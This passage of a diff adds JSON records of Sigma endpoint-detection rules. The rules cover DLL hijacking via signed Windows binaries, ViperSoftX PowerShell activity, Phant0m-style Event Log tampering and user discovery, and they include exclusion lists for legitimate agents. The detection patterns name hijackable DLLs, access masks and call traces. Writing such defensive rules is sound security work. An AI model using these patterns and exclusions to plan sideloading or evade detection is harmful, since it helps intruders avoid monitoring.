/usr/share/ovirt-guest-agent/ovirt-guest-agent.py*'\n\n    exclusion_paloalto:\n        ParentImage:\n            - '/opt/paloaltonetworks/globalprotect/pangphip'\n            - '/opt/paloaltonetworks/globalprotect/pangphipmp'\n\n    exclusion_manageengine:\n        # /usr/local/manageengine/uems_agent/bin/dcinventory\n        # /usr/local/manageengine/uems_agent/bin/dcrepolistmanager\n        # /usr/local/manageengine/uems_agent/bin/dcconfig\n        ParentImage|contains: '/manageengine/uems_agent/bin/dc'\n\n    exclusion_forescout:\n        ParentCommandLine: '/usr/lib/forescout/bin/ForeScoutSecureConnector.bin -daemon'\n\n    exclusion_mtxopswatproxy:\n        ParentImage|contains: '/local/bmc-software/client-management/client/bin/mtxopswatproxy'\n\n    exclusion_sftp:\n        - ParentCommandLine|contains:\n            - '/usr/lib/openssh/sftp-server'\n            - '/usr/libexec/openssh/sftp-server'\n        - GrandparentCommandLine|contains:\n            - '/usr/lib/openssh/sftp-server'\n            - '/usr/libexec/openssh/sftp-server'\n\n    exclusion_dpkg:\n        - ParentImage: '/usr/bin/dpkg'\n        - ProcessAncestors|contains: '|/usr/bin/dpkg|'\n\n    exclusion_apt:\n        ParentCommandLine|startswith: '/usr/bin/python? /usr/bin/unattended-upgrade'\n\n    exclusion_checkpoint:\n        ParentImage: '/var/lib/checkpoint/cpla/cpla'\n\n    exclusion_eos:\n        ParentCommandLine: '/bin/bash /usr/bin/eos-reboot-required3'\n\n    exclusion_moba:\n        ParentCommandLine|contains: 'echo ?==> /proc/end <==?;echo ?##Moba##?; done'\n\n    exclusion_nagios:\n        ParentCommandLine|startswith: 'bash -c /usr/local/nagios/libexec/check_'\n\n    exclusion_fog:\n        ParentCommandLine|contains : '/opt/fog-service/FOGUserService.exe'\n\n    exclusion_orbit:\n        ParentImage: '/opt/orbit/bin/orbit/linux*/orbit'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "361b764f-8b11-4ec2-b6dd-2d8fb7195f6f",
+  "rule_name": "Users Execution",
+  "rule_description": "Detects the execution of the 'users' command to print the list of users currently logged into the system.\nAttackers may use this technique during discovery phase to retrieve the list of existing users or to list users that are currently logged in.\nIt is recommended to correlate this alert with any other discovery activity on the host.\nIf this is a recurring false positive, it is highly recommended to create a whitelist for the offending software.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-02-25",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "36295180-e9b0-4900-8268-36a38e641137",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082341Z",
+  "creation_date": "2026-03-23T11:45:34.082343Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082347Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_write.yml",
+  "content": "title: DLL Hijacking via write.exe\nid: 36295180-e9b0-4900-8268-36a38e641137\ndescription: |\n    Detects potential Windows DLL Hijacking via write.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'write'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CLDAPI.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\davclnt.dll'\n            - '\\drprov.dll'\n            - '\\edputil.dll'\n            - '\\FLTLIB.DLL'\n            - '\\ntlanman.dll'\n            - '\\p9np.dll'\n            - '\\PROPSYS.dll'\n            - '\\windows.storage.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "36295180-e9b0-4900-8268-36a38e641137",
+  "rule_name": "DLL Hijacking via write.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via write.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3652ecec-d855-48ad-8fb0-ebcbcd0522e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602505Z",
+  "creation_date": "2026-03-23T11:45:34.602508Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602515Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wbengine.yml",
+  "content": "title: DLL Hijacking via wbengine.exe\nid: 3652ecec-d855-48ad-8fb0-ebcbcd0522e7\ndescription: |\n    Detects potential Windows DLL Hijacking via wbengine.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wbengine.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\CLUSAPI.dll'\n            - '\\DNSAPI.dll'\n            - '\\FLTLIB.DLL'\n            - '\\NETUTILS.DLL'\n            - '\\SPP.dll'\n            - '\\SRVCLI.DLL'\n            - '\\VirtDisk.dll'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n            - '\\wer.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3652ecec-d855-48ad-8fb0-ebcbcd0522e7",
+  "rule_name": "DLL Hijacking via wbengine.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wbengine.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3681933f-d809-4ed2-ab94-c97f202a5989",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085512Z",
+  "creation_date": "2026-03-23T11:45:34.085514Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085518Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://chris.partridge.tech/2022/evolution-of-vipersoftx-dga/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_vipersoftx_powershell.yml",
+  "content": "title: ViperSoftX's PowerShell Commandlet Executed\nid: 3681933f-d809-4ed2-ab94-c97f202a5989\ndescription: |\n    Detects a PowerShell command related to ViperSoftX.\n    ViperSoftX is an information stealer and remote access trojan known to steal sensitive information such as cryptocurrency wallets and passwords stored in browsers and password managers.\n    It is recommended to analyze the process responsible for the execution of this PowerShell command as well as to look for other actions indicative of information theft.\nreferences:\n    - https://chris.partridge.tech/2022/evolution-of-vipersoftx-dga/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2025/07/10\nmodified: 2025/08/20\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Stealer.ViperSoftX\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains: \"','.','RightToLeft')\"\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3681933f-d809-4ed2-ab94-c97f202a5989",
+  "rule_name": "ViperSoftX's PowerShell Commandlet Executed",
+  "rule_description": "Detects a PowerShell command related to ViperSoftX.\nViperSoftX is an information stealer and remote access trojan known to steal sensitive information such as cryptocurrency wallets and passwords stored in browsers and password managers.\nIt is recommended to analyze the process responsible for the execution of this PowerShell command as well as to look for other actions indicative of information theft.\n",
+  "rule_creation_date": "2025-07-10",
+  "rule_modified_date": "2025-08-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "368595bb-89c5-4ae7-9ff8-08badb53c525",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090206Z",
+  "creation_date": "2026-03-23T11:45:34.090208Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090212Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msedgewebview2.yml",
+  "content": "title: DLL Hijacking via msedgewebview2.exe\nid: 368595bb-89c5-4ae7-9ff8-08badb53c525\ndescription: |\n    Detects potential Windows DLL Hijacking via msedgewebview2.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msedgewebview2.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\dataexchange.dll'\n            - '\\msctf.dll'\n            - '\\mswsock.dll'\n            - '\\ntmarta.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\\\*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\EdgeWebView\\Application\\\\*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "368595bb-89c5-4ae7-9ff8-08badb53c525",
+  "rule_name": "DLL Hijacking via msedgewebview2.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msedgewebview2.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "368a9015-91da-4e88-9611-4dd3cf5e001c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071950Z",
+  "creation_date": "2026-03-23T11:45:34.071953Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071963Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hlldz/Phant0m/",
+    "https://artofpwn.com/2017/06/05/phant0m-killing-windows-event-log.html",
+    "https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog",
+    "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_windows_eventlog_thread_killer.yml",
+  "content": "title: Windows Event Log Svchost Process Suspiciously Accessed\nid: 368a9015-91da-4e88-9611-4dd3cf5e001c\ndescription: |\n    Detects an attempt to open an svchost process in a similar way as Phant0m to kill or suspend the threads of the Windows Event Log service.\n    Attackers may try to tamper with the Event Log service to prevent it from reporting malicious activities to logging or EDR solutions.\n    It is recommended to investigate the process accessing the Event Log to look for malicious content or actions and to investigate any subsequent suspicious activities on the host.\nreferences:\n    - https://github.com/hlldz/Phant0m/\n    - https://artofpwn.com/2017/06/05/phant0m-killing-windows-event-log.html\n    - https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog\n    - https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2021/06/21\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection_base:\n        TargetImage|endswith: '\\svchost.exe'\n        TargetProcessUser: 'NT AUTHORITY\\LOCAL SERVICE'\n        TargetProcessCommandLine|contains|all:\n            - 'svchost.exe -k LocalServiceNetworkRestricted'\n            - 'EventLog'\n\n    selection_variant_phant0m_v1:\n        # https://github.com/hlldz/Phant0m/blob/595360122763137aea3a0f5736c28e0d931e8c6d/old/Invoke-Phant0m.ps1#L1018\n        GrantedAccess: '0x1f3fff'\n        CallTrace:\n            - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\KernelBase.dll+?????|UNKNOWN(????????????????)'\n            - '\\Device\\vmsmb\\VSMB-{????????-????-????-????-????????????}\\os\\Windows\\System32\\ntdll.dll+?????|\\Device\\vmsmb\\VSMB-{????????-????-????-????-????????????}\\os\\Windows\\System32\\KernelBase.dll+?????|UNKNOWN(????????????????)'\n\n    selection_variant_generic:\n        # https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads#code\n        GrantedAccess: '0x1fffff'\n        CallTrace|contains: 'UNKNOWN'\n        #CallTrace:\n        #    - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\KernelBase.dll+?????|*|?:\\Windows\\System32\\kernel32.dll+?????|C:\\Windows\\System32\\ntdll.dll+?????'\n        #    - '\\Device\\vmsmb\\VSMB-{????????-????-????-????-????????????}\\os\\Windows\\System32\\ntdll.dll+?????|\\Device\\vmsmb\\VSMB-{????????-????-????-????-????????????}\\os\\Windows\\System32\\KernelBase.dll+?????|*|\\Device\\vmsmb\\VSMB-{????????-????-????-????-????????????}\\os\\Windows\\System32\\kernel32.dll+?????|\\Device\\vmsmb\\VSMB-{????????-????-????-????-????????????}\\os\\Windows\\System32\\ntdll.dll+?????'\n\n    selection_variant_phant0m_v2_no_name:\n        # https://github.com/hlldz/Phant0m/blob/89d722204c6e2f8b1b17da0a9b20b1e98ca3f576/phant0m/include/technique_1.h#L81\n        GrantedAccess: '0x10'\n        ProcessOriginalFileName: ''\n        ProcessInternalName: ''\n\n    selection_variant_phant0m_v2_unknown_module:\n        # https://github.com/hlldz/Phant0m/blob/89d722204c6e2f8b1b17da0a9b20b1e98ca3f576/phant0m/include/technique_1.h#L81\n        GrantedAccess: '0x10'\n        CallTrace|contains: 'UNKNOWN'\n\n    exclusion_hook:\n        CallTrace: '*Windows\\SysWOW64\\ntdll.dll+?????|UNKNOWN(00000000????????)|?:\\\\*?:\\Windows\\SysWOW64\\kernel32.dll+*|?:\\Windows\\SysWOW64\\ntdll.dll+*'\n\n    exclusion_net:\n        # False positive with Microsoft .NET\n        # Example PowerShell Get-Process cmdlet :\n        # C:\\Windows\\System32\\ntdll.dll+9d234|C:\\Windows\\System32\\KernelBase.dll+2c0fe|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\43b97e99fab55055761ec7618b2bf77b\\System.ni.dll+381e70|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\43b97e99fab55055761ec7618b2bf77b\\System.ni.dll+2fa12e|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\43b97e99fab55055761ec7618b2bf77b\\System.ni.dll+2f8cd5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\43b97e99fab55055761ec7618b2bf77b\\System.ni.dll+2c3b1e|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\43b97e99fab55055761ec7618b2bf77b\\System.ni.dll+2c01f5|UNKNOWN(00007ffc4002cc2a)\n        CallTrace:\n            - '*\\System.ni.dll+*\\System.ni.dll+*\\System.ni.dll+????UNKNOWN(????????????????)'\n            - '*\\System.ni.dll+*\\System.ni.dll+*\\System.ni.dll+?????UNKNOWN(????????????????)'\n            - '*\\System.ni.dll+*\\System.ni.dll+*\\System.ni.dll+??????UNKNOWN(????????????????)'\n            - '*\\System.ni.dll+*\\System.ni.dll+*\\System.ni.dll+???????UNKNOWN(????????????????)'\n\n    exclusion_tmmon_trendmicro_1:\n        # ...C:\\Windows\\SysWOW64\\ntdll.dll+51843|C:\\Windows\\SysWOW64\\ntdll.dll+519b1|C:\\Windows\\SysWOW64\\ntdll.dll+52255|C:\\Windows\\SysWOW64\\ntdll.dll+4e272|C:\\Windows\\SysWOW64\\ntdll.dll+4deb6|C:\\Windows\\SysWOW64\\tmumh\\20019\\TmMon\\2.9.0.1036\\tmmon.dll+62c39|UNKNOWN(00000000036d05b2)|C:\\Windows\\SysWOW64\\KernelBase.dll+110766\n        # ...|C:\\Windows\\SysWOW64\\ntdll.dll+72c3c|C:\\Windows\\SysWOW64\\tmumh\\20019\\TmMon\\2.9.0.1027\\tmmon.dll+6d519|UNKNOWN(000000000092027c)|C:\\Windows\\SysWOW64\\KernelBase.dll+10ffd8|....\n        CallTrace|contains: '?:\\Windows\\SysWOW64\\ntdll.dll+?????|?:\\Windows\\SysWOW64\\tmumh\\\\*\\TmMon\\\\*\\tmmon.dll+?????|UNKNOWN(000000??????????)|?:\\Windows\\SysWOW64\\KernelBase.dll+??????'\n\n    exclusion_tmmon_trendmicro_2:\n        # C:\\Windows\\System32\\ntdll.dll+a6144|C:\\Windows\\System32\\tmumh\\20019\\TmMon\\2.9.0.1041\\tmmon64.dll+20af8|UNKNOWN(0000022eb3212040)\n        # C:\\Windows\\System32\\ntdll.dll+9044a|C:\\Windows\\System32\\tmumh\\20019\\TmMon\\2.9.0.1049\\tmmon64.dll.1092904734+20af8|UNKNOWN(000000186d2da040)\n        CallTrace:\n            - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\tmumh\\\\*\\TmMon\\\\*\\tmmon64.dll+?????|UNKNOWN(000?????????????)'\n            - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\tmumh\\\\*\\TmMon\\\\*\\tmmon64.dll.*+?????|UNKNOWN(000?????????????)'\n\n    exclusion_bitdefender_dll:\n        # C:\\Windows\\System32\\ntdll.dll+9d204|C:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\dlls_265967468665702422\\atcuf64.dll+65cb7|C:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\dlls_265967468665702422\\atcuf64.dll+8df8|UNKNOWN(000002b741f510c7)\n        # too many different grantedaccess, don't use it...\n        # GrantedAccess:\n        #     - '0x1010'\n        #     - '0x1410'\n        #     - '0x1411'\n        #     - '0x101410'\n        #     - '0x1f3fff'\n        CallTrace|endswith:\n            - '|?:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\dlls_??????????????????\\atcuf64.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\dlls_??????????????????\\atcuf64.dll+????|UNKNOWN(00000???????????)'\n            - '|?:\\Program Files\\Bitdefender\\Endpoint 